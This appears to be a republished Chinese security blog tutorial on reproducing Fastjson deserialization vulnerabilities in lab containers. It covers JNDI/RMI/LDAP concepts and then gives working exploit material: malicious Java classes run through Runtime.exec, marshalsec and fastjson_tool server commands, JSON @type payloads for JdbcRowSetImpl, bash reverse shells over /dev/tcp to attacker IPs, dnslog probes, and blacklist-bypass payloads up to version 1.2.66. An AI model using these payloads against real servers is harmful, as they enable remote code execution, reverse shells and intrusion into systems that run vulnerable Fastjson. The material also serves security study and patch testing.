干货|最全fastjson漏洞复现与绕过
2021-08-22 10:51:41 Author: mp.weixin.qq.com(查看原文) 阅读量:1194 收藏

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:

JNDI

JNDI (Java Naming and Directory Interface)是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一。(可以理解为JNDIJ2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找)

JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI

RMI

远程方法调用

远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

远程对象

使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。如下:

public class HelloImpl implements IHello {    protected HelloImpl() throws RemoteException {        UnicastRemoteObject.exportObject(this, 0);    }    @Override    public String sayHello(String name) {        System.out.println(name);        return name;    }}

在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的:

从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

1.Server端监听一个端口,这个端口是JVM随机选择的;2.Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;3.Client端可以调用Stub上的方法;4.Stub连接到Server端监听的通信端口并提交参数;5.远程Server端上执行具体的方法,并返回结果给Stub;6.Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;

那怎么获取Stub呢?

RMI注册表

Stub的获取方式有很多,常见的方法是调用某个远程服务上的方法,向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。

要注册远程对象,需要RMI URL和一个远程对象的引用。

IHello rhello = new HelloImpl();LocateRegistry.createRegistry(1099);Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);IHello rhello = (IHello) registry.lookup("hello");rhello.sayHello("test");

使用RMI Registry之后,RMI的调用关系是这样的:

所以其实从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的)。这个通信细节比较重要,真实利用过程中可能会在这里遇到一些坑。

动态加载类

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

这个概念比较重要,JNDI注入的利用方法中也借助了动态加载类的思路。

这里涉及到的角色:客户端、RMI注册表、远程对象服务器、托管class文件的Web服务器可以分别位于不同的主机上:

LDAP

LDAP(Lightweight Directory Access Protocol)是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议

JNDI注入

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factoryenv.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");Context ctx = new InitialContext(env);Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test");

CVE-2017-18349即Fastjson1.2.24 反序列化漏洞RCE

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本为 fastjson < 1.2.25

漏洞复现

首先进入fastjson 1.2.24的docker环境,使用java -version查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

安装javac环境,这里直接使用20版本替换102

cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version

执行命令完成之后发现java版本已经变成了20

编辑恶意类代码,起名为evilclass.java

import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/test"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

使用javac编译evilclass.java文件生成evilclass.class

这里需要搭建RMI服务,首先下载marshalsec

git clone https://github.com/mbechler/marshalsec.git

安装maven并编译marshalsec生成jar

apt-get install mavenmvn clean package -DskipTests

稍微等一下,可以看到已经创建成功

我们进入到marshalsec的target目录里面进行查看已经生成了marshalsec-0.0.3.3-SNAPSHOT-all.jar,然后使用marshalsec搭建一个RMI服务器,这里的ip就是你攻击机的ip,端口可以随意

这里也可以使用启动LDAP服务,效果是一样的

lsjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.8/#evilclass" 9999java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8/#evilclass" 9999

这里我使用RMI,可以看到请求成功

bp在靶机的fastjson页面抓包

这里需要改的有三个地方,第一个地方需要把GET方法改成POST方法,第二个地方需要添加Content-Type:application/json,第三个地方就是写入漏洞利用的poc

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.8:9999/evilclass","autoCommit":true}}

发包即可

进入docker里查看发现已经创建了test文件

若需要反弹shell只需要把java文件中的String[] commands改为bash反弹命令即可,这里不再赘述

import java.lang.Runtime;import java.lang.Process;public class evilclass{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.8/9001 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

CNVD-2019-22238即Fastjson1.2.47 反序列化漏洞

漏洞原理

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

影响版本为 fastjson < 1.2.47

漏洞复现

首先进入1.2.47的docker环境

这里的jdk版本还是8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以继续利用RMI或者LDAP进行命令执行

上面用了RMI进行命令执行,这里使用LDAP进行漏洞复现

LDAP使用的工具为fastjson_tool,首先clone到本地

git clone https://github.com/wyzxxz/fastjson_rce_tool.git

首先启动LDAP服务,8888为LDAP服务的端口,后面跟的是bash反弹shell的命令

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.1.8 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.1.10/9001 0>&1"

这里执行命令之后给出了两个payload,我们使用下面这个payload复制一下

这里还是跟上面一样需要改GET方法为POST方法,添加Content-Type:application/json,在就是把之前生成的payload复制

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.8:8888/Object","autoCommit":true}}

发包使用nc监听8888端口即可收到反弹shell

首先如何快速判断是否使用了fastjson呢

第一种方法就是使用报错回显

这里首先在web页面抓包

然后修改GET为POST,添加Content-Type:application/json,在发送一个{"test":",即可得到回显

第二种方法就是使用dnslog测试,使用如下payload,这里的dnslog使用dnslog获得的网址进行替换即可

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}    {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}Set[{"@type":"java.net.URL","val":"dnslog"}]Set[{"@type":"java.net.URL","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:0

第三种方法就是使用nc监听端口,在之前漏洞复现中已经讲过,就不再赘述了

我们在前面用到的都是远程加载RMI或LDAP服务端上的恶意类,即远程加载恶意类,在一些情况下,这种远程加载恶意类的方法并不能百分之百能够利用成功,这里就可以使用本地利用方式,就可以不用远程加载恶意类

首先生成test.java文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet {    public Test() throws IOException {        Runtime.getRuntime().exec("ping test.0g7slo.dnslog.cn");    }     @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {     }     public static void main(String[] args) throws Exception {        Test t = new Test();    }}

这里就可以ping一下dnslog来查看攻击是否成功,这里还有一种情况就是fastjson在真实情况下不出网,那么肯定是不能ping通的,这时候我们就可以选择写入webshell到web路径,前提是要知道绝对路径,或者是使用无文件回显来利用

编译test.java生成class类文件

javac test.java

然后对class类文件进行base64编码,这里使用到py脚本

import base64fin = open(r"test.class", "rb")fout = open(r"base64.txt", "w")s = base64.encodestring(fin.read()).replace("\n", "")fout.write(s)fin.close()fout.close()

运行之后就会把test.class文件转换为base64.txt文件,这时候再把base64.txt文件替换到payload中即可在dnslog中回显

image-20210819102057605

< 1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来

那么就可以构造如下exp

{               "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",    "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit",    "autoCommit":true}

< 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L;,构造exp如下,即双写L;

{               "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",    "dataSourceName":"rmi://x.x.x.x:9999/exp",    "autoCommit":true}

< 1.2.47

在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单

{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true }}

< 1.2.66

基于黑名单绕过,autoTypeSupport属性为true才能使用,在1.2.25版本之后autoTypeSupport默认为false

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

推荐阅读:

干货 | Spring系列CVE以及POC编写

干货|Java Spring安全学习笔记

干货 | 最全的Weblogic漏洞复现

干货|最全的Tomcat漏洞复现

干货|最全的Jboss漏洞复现

点赞,转发,在看

原创投稿作者:Alexis


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247499667&idx=1&sn=21f18b37fdb83c161043d6cfa80d427f&chksm=ec1caaacdb6b23bae15f4e09f73072ca24b406222049e6e53be6d1def28270206f71747e7b66#rd
如有侵权请联系:admin#unsafe.sh